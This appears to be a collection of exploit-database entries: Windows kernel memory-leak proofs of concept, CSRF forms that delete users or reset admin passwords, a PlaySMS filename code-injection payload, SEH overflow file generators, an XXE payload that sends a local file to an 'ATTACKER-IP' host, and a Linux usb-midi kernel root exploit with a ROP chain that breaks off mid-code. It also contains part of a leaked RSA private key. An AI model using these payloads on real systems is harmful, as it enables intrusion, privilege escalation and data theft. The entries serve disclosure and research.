It's clearly visible that bytes at offsets 0x64-0x67 are equal to the data we set in the prologue of win32k!DrawTextExWorker, which illustrates how uninitialized stack data is leaked to user-mode.

Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/

#include <Windows.h>
#include <cstdio>

VOID PrintHex(PBYTE Data, ULONG dwBytes) {
  for (ULONG i = 0; i < dwBytes; i += 16) {
    printf("%.8x: ", i);

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes) {
        printf("%.2x ", Data[i + j]);
      }
      else {
        printf("?? ");
      }
    }

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
        printf("%c", Data[i + j]);
      }
      else {
        printf(".");
      }
    }

    printf("\n");
  }
}

PVOID *GetUser32DispatchTable() {
  __asm{
    mov eax, fs:30h
    mov eax, [eax+0x2c]
  }
}

BOOL HookUser32DispatchFunction(UINT Index, PVOID lpNewHandler) {
  PVOID *DispatchTable = GetUser32DispatchTable();
  DWORD OldProtect;

  if (!VirtualProtect(DispatchTable, 0x1000, PAGE_READWRITE, &OldProtect)) {
    printf("VirtualProtect#1 failed, %d\n", GetLastError());
    return FALSE;
  }

  DispatchTable[Index] = lpNewHandler;
  
  if (!VirtualProtect(DispatchTable, 0x1000, OldProtect, &OldProtect)) {
    printf("VirtualProtect#2 failed, %d\n", GetLastError());
    return FALSE;
  }

  return TRUE;
}

VOID ClientLpkDrawTextExHook(LPVOID Data) {
  printf("----------\n");
  PrintHex((PBYTE)Data, 0x98);
}

int main() {
  if (!HookUser32DispatchFunction(69, ClientLpkDrawTextExHook)) {
    return 1;
  }
  
  HWND hwnd = CreateWindowW(L"BUTTON", L"TestWindow", WS_OVERLAPPEDWINDOW | WS_VISIBLE,
                            CW_USEDEFAULT, CW_USEDEFAULT, 100, 100, NULL, NULL, 0, 0);
  DestroyWindow(hwnd);

  return 0;
}
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1161

We have discovered that the handler of the nt!NtTraceControl system call (specifically the EtwpSetProviderTraitsUm functionality, opcode 0x1E) discloses portions of uninitialized pool memory to user-mode clients on Windows 10 systems.

On our test Windows 10 32-bit workstation, an example layout of the output buffer is as follows:

--- cut ---
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: 00 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff ................
00000020: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ................
00000030: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ................
00000040: ff ff ff ff ff ff ff ff 00 00 00 00 00 00 00 00 ................
00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000060: 00 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff ................
00000070: ff ff ff ff 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ................
--- cut ---

Where 00 denote bytes which are properly initialized, while ff indicate uninitialized values copied back to user-mode.

The issue can be reproduced by running the attached proof-of-concept program on a system with the Special Pools mechanism enabled for ntoskrnl.exe. Then, it is clearly visible that bytes at the aforementioned offsets are equal to the markers inserted by Special Pools, and would otherwise contain leftover data that was previously stored in that memory region (in this case, the special byte is 0x75, or "u"):

--- cut ---
00000000: 28 00 00 00 00 00 00 00 24 f8 f7 00 00 00 00 00 (.......$.......
00000010: 39 00 00 00 00 00 00 00 75 75 75 75 75 75 75 75 9.......uuuuuuuu
00000020: 75 75 75 75 75 75 75 75 75 75 75 75 75 75 75 75 uuuuuuuuuuuuuuuu
00000030: 75 75 75 75 75 75 75 75 75 75 75 75 75 75 75 75 uuuuuuuuuuuuuuuu
00000040: 75 75 75 75 75 75 75 75 01 00 00 00 ff 00 00 00 uuuuuuuu........
00000050: a1 03 00 00 00 00 00 00 00 00 00 00 00 80 00 00 ................
00000060: 00 00 00 00 00 00 00 00 75 75 75 75 75 75 75 75 ........uuuuuuuu
00000070: 75 75 75 75 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? uuuu............
--- cut ---

Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/

#include <Windows.h>
#include <winternl.h>
#include <cstdio>

extern "C"
NTSTATUS WINAPI NtTraceControl(
    DWORD Operation,
    LPVOID InputBuffer,
    DWORD InputSize,
    LPVOID OutputBuffer,
    DWORD OutputSize,
    LPDWORD BytesReturned);

VOID PrintHex(PBYTE Data, ULONG dwBytes) {
  for (ULONG i = 0; i < dwBytes; i += 16) {
    printf("%.8x: ", i);

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes) {
        printf("%.2x ", Data[i + j]);
      }
      else {
        printf("?? ");
      }
    }

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
        printf("%c", Data[i + j]);
      }
      else {
        printf(".");
      }
    }

    printf("\n");
  }
}

int main() {
  BYTE data[] = "9\x00Microsoft.Windows.Kernel.KernelBase\x00\x13\x00\x01\x1asPO\xcf\x89\x82G\xb3\xe0\xdc\xe8\xc9\x04v\xba";
  struct {
    DWORD hevent;
    DWORD padding1;
    LPVOID data;
    DWORD padding2;
    USHORT data_size;
    USHORT padding3;
    DWORD padding4;
  } Input = {
    0, 0, data, 0, sizeof(data) - 1, 0, 0
  };
  BYTE Output[1024] = { /* zero padding */ };

  for (DWORD handle = 0x4; handle < 0x1000; handle += 4) {
    Input.hevent = handle;

    DWORD BytesReturned = 0;
    NTSTATUS ntst = NtTraceControl(30, &Input, sizeof(Input), Output, sizeof(Output), &BytesReturned);
    if (NT_SUCCESS(ntst)) {
      PrintHex(Output, BytesReturned);
      break;
    }
  }

  return 0;
}
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1145

We have observed (on Windows 7 32-bit) that for unclear reasons, the kernel-mode structure containing the default DACL of system processes' tokens (lsass.exe, services.exe, ...) has 8 uninitialized bytes at the end, as the size of the structure (ACL.AclSize) is larger than the sum of ACE lengths (ACE_HEADER.AceSize). It is possible to read the leftover pool data using a GetTokenInformation(TokenDefaultDacl) call.

When the attached proof-of-concept code is run against a SYSTEM process (pid of the process must be passed in the program argument), on a system with Special Pools enabled for ntoskrnl.exe, output similar to the following can be observed:

>NtQueryInformationToken.exe 520
00000000: 54 bf 2b 00 02 00 3c 00 02 00 00 00 00 00 14 00 T.+...<.........
00000010: 00 00 00 10 01 01 00 00 00 00 00 05 12 00 00 00 ................
00000020: 00 00 18 00 00 00 02 a0 01 02 00 00 00 00 00 05 ................
00000030: 20 00 00 00 20 02 00 00[01 01 01 01 01 01 01 01] ... ...........

The last eight 0x01 bytes are markers inserted by Special Pools, which visibly haven't been overwritten by any actual data prior to being returned to user-mode.

While reading DACLs of system processes may require special privileges (such as the ability to acquire SeDebugPrivilege), the root cause of the behavior could potentially make it possible to also create uninitialized DACLs that are easily accessible by regular users. This could in turn lead to a typical kernel memory disclosure condition, which would allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space. Since it's not clear to us what causes the abberant behavior, we're reporting it for further analysis to be on the safe side.

The proof-of-concept code is mostly based on the example at https://support.microsoft.com/en-us/help/131065/how-to-obtain-a-handle-to-any-process-with-sedebugprivilege.
*/

#define RTN_OK 0
#define RTN_USAGE 1
#define RTN_ERROR 13

#include <windows.h>
#include <stdio.h>

BOOL SetPrivilege(
  HANDLE hToken,          // token handle
  LPCTSTR Privilege,      // Privilege to enable/disable
  BOOL bEnablePrivilege   // TRUE to enable.  FALSE to disable
  );

void DisplayError(LPTSTR szAPI);
VOID PrintHex(PBYTE Data, ULONG dwBytes);

int main(int argc, char *argv[])
{
  HANDLE hProcess;
  HANDLE hToken;
  int dwRetVal = RTN_OK; // assume success from main()

  // show correct usage for kill
  if (argc != 2)
  {
    fprintf(stderr, "Usage: %s [ProcessId]\n", argv[0]);
    return RTN_USAGE;
  }

  if (!OpenThreadToken(GetCurrentThread(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, FALSE, &hToken))
  {
    if (GetLastError() == ERROR_NO_TOKEN)
    {
      if (!ImpersonateSelf(SecurityImpersonation))
        return RTN_ERROR;

      if (!OpenThreadToken(GetCurrentThread(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, FALSE, &hToken)){
        DisplayError(L"OpenThreadToken");
        return RTN_ERROR;
      }
    }
    else
      return RTN_ERROR;
  }

  // enable SeDebugPrivilege
  if (!SetPrivilege(hToken, SE_DEBUG_NAME, TRUE))
  {
    DisplayError(L"SetPrivilege");

    // close token handle
    CloseHandle(hToken);

    // indicate failure
    return RTN_ERROR;
  }
  
  CloseHandle(hToken);

  // open the process
  if ((hProcess = OpenProcess(
    PROCESS_QUERY_INFORMATION,
    FALSE,
    atoi(argv[1]) // PID from commandline
    )) == NULL)
  {
    DisplayError(L"OpenProcess");
    return RTN_ERROR;
  }

  // Open process token.
  if (!OpenProcessToken(hProcess, TOKEN_READ, &hToken)) {
    DisplayError(L"OpenProcessToken");
    return RTN_ERROR;
  }

  DWORD ReturnLength = 0;
  if (!GetTokenInformation(hToken, TokenDefaultDacl, NULL, 0, &ReturnLength) && GetLastError() != ERROR_INSUFFICIENT_BUFFER) {
    DisplayError(L"GetTokenInformation #1");
    return RTN_ERROR;
  }

  PBYTE OutputBuffer = (PBYTE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, ReturnLength);
  if (!GetTokenInformation(hToken, TokenDefaultDacl, OutputBuffer, ReturnLength, &ReturnLength)) {
    DisplayError(L"GetTokenInformation #2");
    return RTN_ERROR;
  }

  PrintHex(OutputBuffer, ReturnLength);

  // close handles
  HeapFree(GetProcessHeap(), 0, OutputBuffer);
  CloseHandle(hProcess);

  return dwRetVal;
}

BOOL SetPrivilege(
  HANDLE hToken,          // token handle
  LPCTSTR Privilege,      // Privilege to enable/disable
  BOOL bEnablePrivilege   // TRUE to enable.  FALSE to disable
  )
{
  TOKEN_PRIVILEGES tp;
  LUID luid;
  TOKEN_PRIVILEGES tpPrevious;
  DWORD cbPrevious = sizeof(TOKEN_PRIVILEGES);

  if (!LookupPrivilegeValue(NULL, Privilege, &luid)) return FALSE;

  // 
  // first pass.  get current privilege setting
  // 
  tp.PrivilegeCount = 1;
  tp.Privileges[0].Luid = luid;
  tp.Privileges[0].Attributes = 0;

  AdjustTokenPrivileges(
    hToken,
    FALSE,
    &tp,
    sizeof(TOKEN_PRIVILEGES),
    &tpPrevious,
    &cbPrevious
    );

  if (GetLastError() != ERROR_SUCCESS) return FALSE;

  // 
  // second pass.  set privilege based on previous setting
  // 
  tpPrevious.PrivilegeCount = 1;
  tpPrevious.Privileges[0].Luid = luid;

  if (bEnablePrivilege) {
    tpPrevious.Privileges[0].Attributes |= (SE_PRIVILEGE_ENABLED);
  }
  else {
    tpPrevious.Privileges[0].Attributes ^= (SE_PRIVILEGE_ENABLED &
      tpPrevious.Privileges[0].Attributes);
  }

  AdjustTokenPrivileges(
    hToken,
    FALSE,
    &tpPrevious,
    cbPrevious,
    NULL,
    NULL
    );

  if (GetLastError() != ERROR_SUCCESS) return FALSE;

  return TRUE;
}

void DisplayError(
  LPTSTR szAPI    // pointer to failed API name
  )
{
  LPTSTR MessageBuffer;
  DWORD dwBufferLength;

  fwprintf(stderr, L"%s() error!\n", szAPI);

  if (dwBufferLength = FormatMessage(
    FORMAT_MESSAGE_ALLOCATE_BUFFER |
    FORMAT_MESSAGE_FROM_SYSTEM,
    NULL,
    GetLastError(),
    GetSystemDefaultLangID(),
    (LPTSTR)&MessageBuffer,
    0,
    NULL
    ))
  {
    DWORD dwBytesWritten;

    // 
    // Output message string on stderr
    // 
    WriteFile(
      GetStdHandle(STD_ERROR_HANDLE),
      MessageBuffer,
      dwBufferLength,
      &dwBytesWritten,
      NULL
      );

    // 
    // free the buffer allocated by the system
    // 
    LocalFree(MessageBuffer);
  }
}

VOID PrintHex(PBYTE Data, ULONG dwBytes) {
  for (ULONG i = 0; i < dwBytes; i += 16) {
    printf("%.8x: ", i);

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes) {
        printf("%.2x ", Data[i + j]);
      }
      else {
        printf("?? ");
      }
    }

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
        printf("%c", Data[i + j]);
      }
      else {
        printf(".");
      }
    }

    printf("\n");
  }
}
            
# Exploit Title :Admidio 3.2.8 (CSRF to Delete Users)
# Date: 28/April/2017
# Exploit Author: Faiz Ahmed Zaidi Organization: Provensec LLC Website: 
http://provensec.com/
# Vendor Homepage: https://www.admidio.org/
# Software Link: https://www.admidio.org/download.php
# Version: 3.2.8
# Tested on: Windows 10 (Xampp)
# CVE : CVE-2017-8382


[Suggested description]
Admidio 3.2.8 has CSRF in 
adm_program/modules/members/members_function.php with
  an impact of deleting arbitrary user accounts.

  ------------------------------------------

  [Additional Information]
  Using this crafted html form we are able to delete any user with 
admin/user privilege.

  <html>
    <body onload="javascript:document.forms[0].submit()">
      <form 
action="http://localhost/newadmidio/admidio-3.2.8/adm_program/modules/members/members_function.php">
        <input type="hidden" name="usr&#95;id" value='9' />
        <input type="hidden" name="mode" value="3" />
        </form>
    </body>
  </html>

[Affected Component]
  http://localhost/newadmidio/admidio-3.2.8/adm_program/modules/members/members_function.php

  ------------------------------------------

  [Attack Type]
  Remote

  ------------------------------------------

  [Impact Escalation of Privileges]
  true

  ------------------------------------------

  [Attack Vectors]
  Steps:
  1.) If an user with admin privilege opens a crafted
  html/JPEG(Image),then both the admin and users with user privilege
  which are mentioned by the user id (as like shown below) in the
  crafted request are deleted.

   <input type="hidden" name="usr&#95;id" value='3' />

  2.) In admidio by default the userid starts from '0',
  '1' for system '2' for users, so an attacker
  can start from '2' upto 'n' users.

  3.)For deleting the user permanently we select 'mode=3'(as like shown
  below),then all admin/low privileged users are deleted.

   <input type="hidden" name="mode" value="3" />

  ------------------------------------------

  [Reference]
  https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)

Thanks
Faiz Ahmed Zaidi
            
[+] Credits: John Page a.k.a hyp3rlinx	
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/MAILCOW-v0.14-CSRF-PASSWORD-RESET-ADD-ADMIN.txt
[+] ISR: ApparitionSec            
 


Vendor:
=============
mailcow.email
mailcow.github.io



Product:
===========
The integrated mailcow UI allows administrative work on your mail server instance as well as separated domain administrator and mailbox user access.



Vulnerability Type:
===================
CSRF
Password Reset / Add Admin / Delete Domains



CVE Reference:
==============
CVE-2017-8928



Security Issue:
================
mailcow 0.14, as used in "mailcow: dockerized" and other products, has CSRF vulnerabilities. If authenticated mailcow user visits a malicious webpage
remote attackers can execute the following exploits.


1) reset admin password
2) add arbitrary admin
3) delete domains



Other issues found in mailcow are as follows:

Session fixation:
=================
Session ID: Pre authentication and Post auth is the same, and does not change upon successful login.

ms22jsnl1dcpc4519rvpvfj0n6 - pre-authentication
ms22jsnl1dcpc4519rvpvfj0n6 - post-authentication


World Readable Private key "key.pem"
====================================
john@debian:/usr/local/mailcow-dockerized-master/data/assets/ssl$ whoami

john

john@debian:/usr/local/mailcow-dockerized-master/data/assets/ssl$ cat key.pem 

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA0YNMU9wLfQ0m9x+TjKdytTKVwIGMqLUiuk0utXwtEBB8tnzF
4sLOwIHMnui5+whutxXtXjdo5HZXn8vcSYr0vMucNDPItevL+c58wvH58pS9ojok
mHyvwf6BKn1O2B+EXHoDud6AwyFGZouBa4J7u9/VVTlNWchxFahidh9mgCJKGUYx
s7pg/WJuC1honbSicwYBbf6poVHll4qTPMNvNV5EJyVO/fsdssJyUrxGd6/2VSQu
5G44lcPv5NeZPQsZOiJPMJidF//sVsaGaJh0CNSzNFSgEv4mlPeXZ9m6Zby+o04o
slgG6zI0irOF2z7f3yGzonDZI+vghctDFX8shwIDAQABAoIBAQC9kiLnIgxXGyZt
pmmYdA6re1jatZ2zLSp+DcY8ul3/0hs195IKCyCOOSQPiR520Pt0t+duP46uYZIJ

etc...


References:
============
https://github.com/mailcow/mailcow-dockerized/pull/268/commits/3c937f75ba5853ada175542d5c4849fb95eb64cd



Exploit/POC:
=============

[Admin Password Reset]

<form action="https://localhost/admin.php" method="post">
<input type="hidden" name="admin_user_now" value="admin">
<input type="hidden" name="admin_user" value="admin">
<input type="hidden" name="admin_pass" value="Abc12345">
<input type="hidden" name="admin_pass2" value="Abc12345">
<input type="hidden" name="trigger_set_admin" value="">
<script>document.forms[0].submit()</script>
</form>


HTTP Response:

'Changes to administrator have been saved"

//////////////////////


[Add Admin]

<form action="https://localhost/admin.php" method="post">
<input type="hidden" name="username" value="HELL">
<input type="hidden" name="password" value="Abc12345">
<input type="hidden" name="password2" value="Abc12345">
<input type="hidden" name="active" value="on">
<input type="hidden" name="trigger_add_domain_admin" value="localhost">
<script>document.forms[0].submit()</script>
</form>


////////////////////


[Delete domains]

https://localhost/mailbox.php
domain=myDomain&trigger_mailbox_action=deletedomain



Network Access:
===============
Remote



Severity:
=========
Medium



Disclosure Timeline:
=================================
Vendor Notification:  May 6, 2017
Vendor releases fix:  May 6, 2017
May 14, 2017  : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx
            
# Exploit Title: PlaySMS 1.4 Code Execution using $filename and Unrestricted File Upload in sendfromfile.php
# Date: 14-05-2017
# Software Link: https://playsms.org/download/
# Version: 1.4
# Exploit Author: Touhid M.Shaikh
# Contact: http://twitter.com/touhidshaikh22
# Website: http://touhidshaikh.com/
# Category: webapps
 
1. Description
   
Unrestricted File Upload: 
	Any registered user can upload any file because of not proper Validation of file in sendfromfile.php

Code Execution using $filename 
	Now We know sendfromfile.php accept any file extension and just read content not stored in server. But there is bug when user upload example: mybackdoor.php server accept happily  but not store in any folder so our shell is useless. But if User change the file name to "mybackdoor.php" to "<?php system('uname -a'); dia();?>.php"  den server check for file and set some perameter $filename="<?php system('uname -a'); dia();?>.php" , U can see code below and display $filename on page.

 For More Details : www.touhidshaikh.com/blog/
   
2. Proof of Concept
 
Login as regular user (created using index.php?app=main&inc=core_auth&route=register):

Go to : http://127.0.0.1/playsms/index.php?app=main&inc=feature_sendfromfile&op=list
 

 This is Form.
----------------------------Form for upload CSV file ----------------------
<form action=\"index.php?app=main&inc=feature_sendfromfile&op=upload_confirm\" enctype=\"multipart/form-data\" method=\"post\">
" . _CSRF_FORM_ . "
<p>" . _('Please select CSV file') . "</p>
<p><input type=\"file\" name=\"fncsv\"></p>
<p class=help-block>" . _('CSV file format') . " : " . $info_format . "</p>
<p><input type=checkbox name=fncsv_dup value=1 checked> " . _('Prevent duplicates') . "</p>
<p><input type=\"submit\" value=\"" . _('Upload file') . "\" class=\"button\"></p>
</form>
------------------------------Form ends ---------------------------


-------------PHP code for set parameter ---------------------------

	case 'upload_confirm':
		$filename = $_FILES['fncsv']['name'];

------------------------------php code ends ---------------------------


$filename will be visible on page:
----------------------Vulnerable perameter show ----------------------

line 123 : $content .= _('Uploaded file') . ': ' . $filename . '<p />';

----------------------------------------------------------------------
 
            
#!/usr/bin/python
# Exploit Title     : Larson VizEx Reader 9.7.5 - Local Buffer Overflow (SEH)
# Date              : 14/05/2017
# Exploit Author    : Muhann4d
# CVE				: CVE-2017-8927
# Vendor Homepage   : http://www.cgmlarson.com/
# Software Link     : http://download.freedownloadmanager.org/Windows-PC/Larson-VizEx-Reader/FREE-9.7.5.html
# Affected Versions : 9.7.5   
# Category          : Denial of Service (DoS) Local
# Tested on OS      : Windows 7 Professional SP1 32bit
# Proof of Concept  : run the exploit, open the poc.tif file with Larson VizEx Reader 9.7.5

# Vendor has been cantacted but no reply

buf = "\x41" * 800
buff = "\x42" * 4
bufff = "\x43" * 4
buffff = "\x44" * 9999
f = open ("poc.tif", "w")
f.write(buf + buff + bufff + buffff)
f.close()
            
#!/usr/bin/python
# Exploit Title     : Halliburton LogView Pro 10.0.1 - Local Buffer Overflow (SEH)
# Date              : 2017-05-14
# Exploit Author    : Muhann4d
# CVE               : CVE-2017-8926
# Vendor Homepage   : http://www.halliburton.com
# Software Link     : http://www.halliburton.com/public/lp/contents/Interactive_Tools/web/Toolkits/lp/Halliburton_Log_Viewer.exe
# Affected Versions : 10.0.1   
# Category          : Denial of Service (DoS) Local
# Tested on OS      : Windows 7 Professional SP1 32bit
# Proof of Concept  : run the exploit, open the poc.tif file with the Halliburton LogView Pro 10.0.1

# Vendor has been cantacted but no reply.

buf = "\x41" * 848
buff = "\x42" * 4
bufff = "\x43" * 4
buffff = "\x44" * 9999
f = open ("poc.tif", "w")
f.write(buf + buff + bufff + buffff)
f.close()
            
[+] Exploit Title: Dive Assistant - Template Builder XXE Injection
[+] Date: 12-05-2017
[+] Exploit Author: Trent Gordon
[+] Vendor Homepage: http://www.blackwave.com/
[+] Software Link: http://www.diveassistant.com/Products/DiveAssistantDesktop/index.aspx
[+] Version: 8.0
[+] Tested on: Windows 7 SP1, Windows 10
[+] CVE: CVE-2017-8918

1. Vulnerability Description

Dive Assistant - Desktop Edition comes with a template builder .exe to create print templates.  The templates are saved and uploaded as XML files which are vulnerable to XXE injection.  Sending a crafted payload to a user, when opened in Dive Assistant - Template Builder, will return the content of any local files to a remote attacker.

2. Proof of Concept

a.) python -m SimpleHTTPServer 9999 (listening on attacker's IP and hosting payload.dtd)

b.) Hosted "payload.dtd"

<?xml version="1.0" encoding="UTF-8"?>

<!ENTITY % all "<!ENTITY send SYSTEM 'http://ATTACKER-IP:9999?%file;'>">

%all;

c.) Exploited "template.xml"

<?xml version="1.0"?
<!DOCTYPE exploit [
<!ENTITY % file SYSTEM "C:\Windows\System.ini">
<!ENTITY % dtd SYSTEM "http://ATTACKER-IP:9999?%file;'>">
%dtd;]>
<exploit>&send;</exploit>
            
Source: https://xairy.github.io/blog/2016/cve-2016-2384
Source: https://github.com/xairy/kernel-exploits/tree/master/CVE-2016-2384
Source: https://www.youtube.com/watch?v=lfl1NJn1nvo

Exploit-DB Note: This requires physical access to the machine, as well as local access on the system.

- - - 

This post describes an exploitable vulnerability (CVE-2016-2384 - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-2384) in the usb-midi Linux kernel driver. The vulnerability is present only if the usb-midi module is enabled, but as far as I can see many modern distributions do this. The bug has been fixed upstream (https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=07d86ca93db7e5cdf4743564d98292042ec21af7).

The vulnerability can be exploited in two ways:

- Denial of service. Requires physical access (ability to plug in a malicious USB device). All the kernel versions seem to be vulnerable to this attack. I managed to cause a kernel panic on real machines with the following kernels: Ubuntu 14.04 (3.19.0-49-generic), Linux Mint 17.3 (3.19.0-32-generic), Fedora 22 (4.1.5-200.fe22.x86_64) and CentOS 6 (2.6.32-584.12.2.e16.x86_64).

- Arbitrary code execution with ring 0 privileges (and therefore a privilege escalation). Requires both physical and local access (ability to plug in a malicious USB device and to execute a malicious binary as a non-privileged user). All the kernel versions starting from v3.0 seem to be vulnerable to this attack. I managed to gain root privileges on real machines with the following kernels: Ubuntu 14.04 (3.19.0-49-generic), Linux Mint 17.3 (3.19.0-32-generic) and Fedora 22 (4.1.5-200.fe22.x86_64). All machines had SMEP turned on, but didn't have SMAP.

A proof-of-concept exploit (poc.c - https://github.com/xairy/kernel-exploits/blob/master/CVE-2016-2384/poc.c, poc.py - https://github.com/xairy/kernel-exploits/blob/master/CVE-2016-2384/poc.py) is provided for both types of attacks. The provided exploit uses a Facedancer21 (http://goodfet.sourceforge.net/hardware/facedancer21/) board to physically emulate the malicious USB device. The provided exploit bypasses SMEP, but doesn't bypass SMAP (though it might be possible to do). It has about 50% success rate (the kernel crashes on failure), but this can probably be improved. Check out the demo video (https://www.youtube.com/watch?v=lfl1NJn1nvo).

It should actually be possible to make the entire exploit for the arbitrary code execution hardware only and therefore eliminate the local access requirement, but this approach wasn't thoroughly investigated.

The vulnerability was found with KASAN (https://github.com/google/kasan) (KernelAddressSanitizer, a kernel memory error detector) and vUSBf (https://github.com/schumilo/vUSBf) (a virtual usb fuzzer).


--- poc.c ---
// A part of the proof-of-concept exploit for the vulnerability in the usb-midi
// driver. Meant to be used in conjuction with a hardware usb emulator, which
// emulates a particular malicious usb device (a Facedancer21 for example).
//
// Andrey Konovalov <andreyknvl@gmail.com>
//
// Usage:
//    // Edit source to set addresses of the kernel symbols and the ROP gadgets.
//    $ gcc poc.c -masm=intel
//    // Run N instances of the binary with the argument increasing from 0 to N,
//    // where N is the number of cpus on your machine.
//    $ ./a.out 0 & ./a.out 1 & ...
//    [+] starting as: uid=1000, euid=1000
//    [+] payload addr: 0x400b60
//    [+] fake stack mmaped
//    [+] plug in the usb device...
//    // Now plug in the device a few times.
//    // In one of the instances you will get (if the kernel doesn't crash):
//    [+] got r00t: uid=0, euid=0
//    # id
//    uid=0(root) gid=0(root) groups=0(root)

#define _GNU_SOURCE

#include <netinet/ip.h>

#include <assert.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include <sys/mman.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/syscall.h>

#include <arpa/inet.h>

// You need to set these based on your kernel.
// To easiest way to obtain the addresses of commit_creds and prepare_kernel_cred
// is to boot your kernel and grep /proc/kallsyms for them.
// The easiest way to obtain the gadgets addresses is to use the ROPgadget util.
// Note that all of the used gadgets must preserve the initial value of the rbp
// register, since this value is used later on to restore rsp.
// The value of CR4_DESIRED_VALUE must have the SMEP bit disabled.

#define COMMIT_CREDS              0xffffffff810957e0L
#define PREPARE_KERNEL_CRED       0xffffffff81095ae0L

#define XCHG_EAX_ESP_RET          0xffffffff8100008aL

#define POP_RDI_RET               0xffffffff8118991dL
#define MOV_DWORD_PTR_RDI_EAX_RET 0xffffffff810fff17L
#define MOV_CR4_RDI_RET           0xffffffff8105b8f0L
#define POP_RCX_RET               0xffffffff810053bcL
#define JMP_RCX                   0xffffffff81040a90L

#define CR4_DESIRED_VALUE         0x407f0

// Payload. Saves eax, which holds the 32 lower bits of the old esp value,
// disables SMEP, restores rsp, obtains root, jumps back to the caller.

#define CHAIN_SAVE_EAX                  \
  *stack++ = POP_RDI_RET;               \
  *stack++ = (uint64_t)&saved_eax;      \
  *stack++ = MOV_DWORD_PTR_RDI_EAX_RET;

#define CHAIN_SET_CR4                   \
  *stack++ = POP_RDI_RET;               \
  *stack++ = CR4_DESIRED_VALUE;         \
  *stack++ = MOV_CR4_RDI_RET;           \

#define CHAIN_JMP_PAYLOAD               \
  *stack++ = POP_RCX_RET;               \
  *stack++ = (uint64_t)&payload;        \
  *stack++ = JMP_RCX;                   \

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);

_commit_creds commit_creds = (_commit_creds)COMMIT_CREDS;
_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED;

void get_root(void) {
  commit_creds(prepare_kernel_cred(0));
}

uint64_t saved_eax;

// Unfortunately GCC does not support `__atribute__((naked))` on x86, which
// can be used to omit a function's prologue, so I had to use this weird
// wrapper hack as a workaround. Note: Clang does support it, which means it
// has better support of GCC attributes than GCC itself. Funny.
void wrapper() {
  asm volatile ("                         \n\
    payload:                              \n\
      movq %%rbp, %%rax                   \n\
      movq $0xffffffff00000000, %%rdx     \n\
      andq %%rdx, %%rax                   \n\
      movq %0, %%rdx                      \n\
      addq %%rdx, %%rax                   \n\
      movq %%rax, %%rsp                   \n\
      jmp get_root                        \n\
  " : : "m"(saved_eax) : );
}

void payload();

// Kernel structs.

struct ubuf_info {
  uint64_t callback;        // void (*callback)(struct ubuf_info *, bool)
  uint64_t ctx;             // void *
  uint64_t desc;            // unsigned long
};

struct skb_shared_info {
  uint8_t  nr_frags;        // unsigned char
  uint8_t  tx_flags;        // __u8
  uint16_t gso_size;        // unsigned short
  uint16_t gso_segs;        // unsigned short
  uint16_t gso_type;        // unsigned short
  uint64_t frag_list;       // struct sk_buff *
  uint64_t hwtstamps;       // struct skb_shared_hwtstamps
  uint32_t tskey;           // u32
  uint32_t ip6_frag_id;     // __be32
  uint32_t dataref;         // atomic_t
  uint64_t destructor_arg;  // void *
  uint8_t  frags[16][17];   // skb_frag_t frags[MAX_SKB_FRAGS];
};

#define MIDI_MAX_ENDPOINTS 2

struct snd_usb_midi {
  uint8_t bullshit[240];

  struct snd_usb_midi_endpoint {
    uint64_t out;           // struct snd_usb_midi_out_endpoint *
    uint64_t in;            // struct snd_usb_midi_in_endpoint *
  } endpoints[MIDI_MAX_ENDPOINTS];

  // More bullshit.
};

// Init buffer for overwriting a skbuff object.

struct ubuf_info ui;

void init_buffer(char* buffer) {
  struct skb_shared_info *ssi = (struct skb_shared_info *)&buffer[192];
  struct snd_usb_midi *midi = (struct snd_usb_midi *)&buffer[0];
  int i;

  ssi->tx_flags = 0xff;
  ssi->destructor_arg = (uint64_t)&ui;
  ui.callback = XCHG_EAX_ESP_RET;

